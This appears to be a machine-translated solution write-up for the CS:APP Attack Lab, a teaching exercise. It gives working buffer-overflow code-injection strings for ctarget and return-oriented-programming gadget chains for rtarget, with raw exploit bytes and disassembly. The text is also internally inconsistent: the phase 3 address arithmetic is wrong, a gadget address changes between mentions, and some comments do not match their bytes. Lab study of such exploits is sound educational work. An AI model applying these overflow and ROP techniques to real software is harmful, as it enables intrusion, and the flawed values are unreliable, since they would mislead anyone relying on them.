Read the lab manual and start doing Attacklab
CTARGET Phase 1
The first Attack Phase requires calling the existing function touch1. This is simple. You need to overwrite the first address of touch1 with the return address in the stack.
First, use gdb to debug ctarget and disassemble the assembly code of getbuf:
It can be found that 0x28 (decimal is 40) Bytes stack frame is allocated here. Since the stack is growing in the low address direction, it is better to store the starting address of touch1 at the location of% rsp+40. By disassembling the code of touch1, it is not difficult to find that the starting address of touch1 is 0x4017c0:
Therefore, the first 40 bytes of the construction string are arbitrary (but cannot take 0A, because 0A is a newline character, the ctarget program judges the end of input according to the newline character), and then follows 0x4017c0 (note to convert to the small end method at this time):
Save as phase1.txt.
Enter command question:
Phase 1 passed.
Phase 2
Phase 2 requires a small piece of code to be injected and the touch2(unsigned) function is called with parameters.
First of all, if you see touch2 in the experiment manual, you need to judge your cookie:
This cookie is a random number generated by the program, which is displayed when the ctarget program is started.
Disassemble the touch2 function and find that the first address of the touch2 function is 0x4017ec:
We are going to inject the code into the stack frame of getbuf. The experimental manual has said that the stack address of ctarget is fixed, which facilitates the code injection. Under gdb debugging, it is found that the stack frame address is 0x5561dc78:
First, list the existing information:
Stack Address:0x5561dc78
function touch2 address:0x00000000004017ec
Cookie:0x59b997fa
Then start writing the injected code. The purpose of this code is to call touch2 with parameters
fun2: movl $0x59b997fa,%edi pushq $0x4017ec ret
Assemble the target file, and then use objdump -d to disassemble it to phase2.txt:
phase2.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <fun2>: 0: bf fa 97 b9 59 mov $0x59b997fa,%edi 5: 68 ec 17 40 00 pushq $0x4017ec a: c3 retq
Keep the binary part, complete 40 bytes, and then append the address returned to the stack frame,
Get the file phase2.txt:
bf fa 97 b9 59 /* movl $0x59b997fa,%edi */ 68 ec 17 40 00 /* movq $0x4017ec,(%rsp) */ c3 /* retq */ ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef 78 dc 61 55 00 00 00 00
Enter command question:
PS: it is also possible to write the injection program as follows:
fun2: movl $0x59b997fa,%edi subq $8,%rsp movq $0x4017ec,(%rsp) ret
CTARGET Phase 3
Read the handout document first. It is emphasized in the document that the stack frame allocated by getbuf may be covered by the hexbatch function and the strncmp function. So we choose the parent stack frame of getbuf, that is, the stack frame of test function to store our string. Anyway, we will not return to the test function, and the program will terminate execution in the touch3 function body.
First of all, we determined the stack frame address as 0x5561dc78 from the above question. Disassembly of touch3 function found that the starting address of touch3 function was 0x4018fa, Because we decided to store the string in the parent stack frame, the distance between the string and the starting address of our stack frame is 40 bytes (from the above question, we know that getbuf has allocated 40 bytes of stack frame). So the starting address of the string is 0x5561dc78+40Bytes=0x5561dc97.
So let's write the injection Code:
movq $0x5561dc97,%rdi pushq $0x4018fa retq
After assembly, fill in the placeholder of 27Bytes between the code and return address, and fill in the ASCII string of string at the end:
48 c7 c7 a8 dc 61 55 /* movq $0x5561dc97,%rdi */ 68 fa 18 40 00 /* pushq $0x4018fa */ c3 /* retq */ ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef /* useless bytes.total 27 bytes */ 78 dc 61 55 00 00 00 00 /* Start of code area */ 35 39 62 39 39 37 66 61 00 /* little endian representation of string '59b997fa' , this string will fill in function test`s stack frame */
Run program test, pass.
RTARGET Phase 2
RTARGET Phase 2 requires to find the code composition gadget required by the attack from the existing code to repeat the previous CTARGET Phase 2 experiment.
First, in GDB. / rtarget, type the command disas / R start farm. Mid farm to view all the instructions and their codes between start farm and mid Farm:
Because the above binary does not encode the COOKIE value 0x59b997fa I need, I need to put this value on the stack, and then pop it up with the popq instruction and copy it to the% rdi register.
To observe the decompilation results, you need to find a popq instruction and a movq instruction. Therefore, you need to divide them into two gadgets. These two instructions should be followed directly by the 0xc3(retq) return instruction or the 0x90(nop) instruction in the middle.
Let's find Gadget1 first. The encoding of the popq instruction is 0x58-0x5f. Observe the figure above and find that the encoding with the starting address of 0x4019cc meets the requirements:
58 90 c3 three hexadecimal codes are respectively POPQ% rax, nop, retq three instructions.
Come to Gadget2.
The coding of movq instruction starts with 0x48 0x89, so it is quickly locked to the starting address 0x4017ec. There are four hexadecimal numbers under this address: 48 89 c7 c3, coded separately
Movq% rax,% RDI, retq instructions, just meet the requirements.
Roughly draw the stack distribution:
address | Space effect | Actual content |
---|---|---|
%rsp+32 | touch2 function start address | 0x4017ec |
%rsp+24 | Gadget2 start address | 0x4019a2 |
%rsp+16 | COOKIE value | 0x59b997fa |
%rsp+8 | Gadget1 start address | 0x4019cc |
Therefore, the attack text is constructed as follows:
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef cc 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
Running procedure, passed successfully:
RTARGET Phase 3
This topic is similar to RTARGET Phase2. It also requires the combination of existing codes to realize the function of CTARGET Phase 3.
First, disassemble all the instructions from start farm to end farm, and then mark all possible instructions according to the figure in the Experimental Manual (as shown below):
<start_farm+0>: b8 01 00 00 00 mov $0x1,%eax
0x0000000000401999 <start_farm+5>: c3 retq
0x000000000040199a <getval_142+0>: b8 fb 78 90 90 mov $0x909078fb,%eax
0x000000000040199f <getval_142+5>: c3 retq
0x00000000004019a0 <addval_273+0>: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
0x00000000004019a6 <addval_273+6>: c3 retq
0x00000000004019a7 <addval_219+0>: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax //58 90 c3 for POPQ% rax; NOP; ret
0x00000000004019ad <addval_219+6>: c3 retq
0x00000000004019ae <setval_237+0>: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
0x00000000004019b4 <setval_237+6>: c3 retq
0x00000000004019b5 <setval_424+0>: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
0x00000000004019bb <setval_424+6>: c3 retq
0x00000000004019bc <setval_470+0>: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
0x00000000004019c2 <setval_470+6>: c3 retq
0x00000000004019c3 <setval_426+0>: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) //48 89 c7 for movq rdx,%rdi;89 c7 for movl edx,%edi;90 for nop
0x00000000004019c9 <setval_426+6>: c3 retq
0x00000000004019ca <getval_280+0>: b8 29 58 90 c3 mov $0xc3905829,%eax
0x00000000004019cf <getval_280+5>: c3 retq
0x00000000004019d0 <mid_farm+0>: b8 01 00 00 00 mov $0x1,%eax
0x00000000004019d5 <mid_farm+5>: c3 retq
0x00000000004019d6 <add_xy+0>: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
0x00000000004019da <add_xy+4>: c3 retq
0x00000000004019db <getval_481+0>: b8 5c 89 c2 90 mov $0x90c2895c,%eax //89 c2 90 for movl% eax,% EDX
0x00000000004019e0 <getval_481+5>: c3 retq
0x00000000004019e1 <setval_296+0>: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
0x00000000004019e7 <setval_296+6>: c3 retq
0x00000000004019e8 <addval_113+0>: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
0x00000000004019ee <addval_113+6>: c3 retq
0x00000000004019ef <addval_490+0>: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
0x00000000004019f5 <addval_490+6>: c3 retq
0x00000000004019f6 <getval_226+0>: b8 89 d1 48 c0 mov $0xc048d189,%eax
0x00000000004019fb <getval_226+5>: c3 retq
0x00000000004019fc <setval_384+0>: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
0x0000000000401a02 <setval_384+6>: c3 retq
0x0000000000401a03 <addval_190+0>: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax //48 89 e0 for movq% RSP,% rax
0x0000000000401a09 <addval_190+6>: c3 retq
0x0000000000401a0a <setval_276+0>: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
0x0000000000401a10 <setval_276+6>: c3 retq
0x0000000000401a11 <addval_436+0>: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax //89 ce 90 90 means movl% ECX,% ESI; NOP; NOP
0x0000000000401a17 <addval_436+6>: c3 retq
0x0000000000401a18 <getval_345+0>: b8 48 89 e0 c1 mov $0xc1e08948,%eax
0x0000000000401a1d <getval_345+5>: c3 retq
0x0000000000401a1e <addval_479+0>: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
0x0000000000401a24 <addval_479+6>: c3 retq
0x0000000000401a25 <addval_187+0>: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax //89 ce 38 c0 means movl% ECX,% ESI; cmpb% Al,% Al; note that cmpb has no effect on the program at this time, which is equivalent to nop null operation.
0x0000000000401a2b <addval_187+6>: c3 retq
0x0000000000401a2c <setval_248+0>: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
0x0000000000401a32 <setval_248+6>: c3 retq
0x0000000000401a33 <getval_159+0>: b8 89 d1 38 c9 mov $0xc938d189,%eax //89 d1 38 c9 means movl% EDX,% ECX; cmpb% Cl,% Cl (at this time, cmpb is equivalent to nop)
0x0000000000401a38 <getval_159+5>: c3 retq
0x0000000000401a39 <addval_110+0>: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
0x0000000000401a3f <addval_110+6>: c3 retq
0x0000000000401a40 <addval_487+0>: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax //89 c2 84 c0 means movl% eax,% EDX; testb% Al,% Al; note that testb has no impact on the program at this time, which is equivalent to nop null operation.
0x0000000000401a46 <addval_487+6>: c3 retq
0x0000000000401a47 <addval_201+0>: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
0x0000000000401a4d <addval_201+6>: c3 retq
0x0000000000401a4e <getval_272+0>: b8 99 d1 08 d2 mov $0xd208d199,%eax
0x0000000000401a53 <getval_272+5>: c3 retq
0x0000000000401a54 <getval_155+0>: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
0x0000000000401a59 <getval_155+5>: c3 retq
0x0000000000401a5a <setval_299+0>: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
0x0000000000401a60 <setval_299+6>: c3 retq
0x0000000000401a61 <addval_404+0>: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
0x0000000000401a67 <addval_404+6>: c3 retq
0x0000000000401a68 <getval_311+0>: b8 89 d1 08 db mov $0xdb08d189,%eax
0x0000000000401a6d <getval_311+5>: c3 retq
0x0000000000401a6e <setval_167+0>: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
0x0000000000401a74 <setval_167+6>: c3 retq
0x0000000000401a75 <setval_328+0>: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
0x0000000000401a7b <setval_328+6>: c3 retq
0x0000000000401a7c <setval_450+0>: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
0x0000000000401a82 <setval_450+6>: c3 retq
0x0000000000401a83 <addval_358+0>: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax
0x0000000000401a89 <addval_358+6>: c3 retq
0x0000000000401a8a <addval_124+0>: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
0x0000000000401a90 <addval_124+6>: c3 retq
0x0000000000401a91 <getval_169+0>: b8 88 ce 20 c0 mov $0xc020ce88,%eax
0x0000000000401a96 <getval_169+5>: c3 retq
0x0000000000401a97 <setval_181+0>: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
0x0000000000401a9d <setval_181+6>: c3 retq
0x0000000000401a9e <addval_184+0>: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
0x0000000000401aa4 <addval_184+6>: c3 retq
0x0000000000401aa5 <getval_472+0>: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
0x0000000000401aaa <getval_472+5>: c3 retq
0x0000000000401aab <setval_350+0>: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
0x0000000000401ab1 <setval_350+6>: c3 retq
Then we can roughly determine the attack scheme: put the string in the stack. In order to find the position of the string, we need to take out the position at the top of the stack, and add the offset of the string position in the stack to form the string address. The scheme is roughly as follows (A > B means to assign A to B)
%rsp – >
POPQ% rax;% eax – >
%rdi+%rsi – >
The stack is distributed as follows: (address space grows up)
type | content |
---|---|
Actual string | String content |
Function address | touch3 function start address |
Gadget | %rax–>%rdi |
Gadget | %rdi+%rsi–>%rax |
Gadget | %ecx–>%esi |
Gadget | %edx–>%ecx |
Gadget | %eax–>%edx |
Offset value | String offset |
Gadget | popq %rax |
Gadget | %rax–>%rdt |
Gadget | %rsp–>rax |
Finally, you need to calculate the string offset value. Note that when executing the first Gadget% rsp -- > rax, rsp actually points to the start address of the second Gadget, so the offset value of the string should be 9x8Byte=72Byte, that is, the hexadecimal value 0x48.
The attack string is constructed as follows: (the first 40 EFS are used to fill buf, followed by the reverse order of the corresponding contents in the stack (Gadget is the corresponding address))
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef 06 1a 40 00 00 00 00 00 c5 19 40 00 00 00 00 00 ab 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c5 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
Just eight gadgets, perfect.
Run the program and pass the test: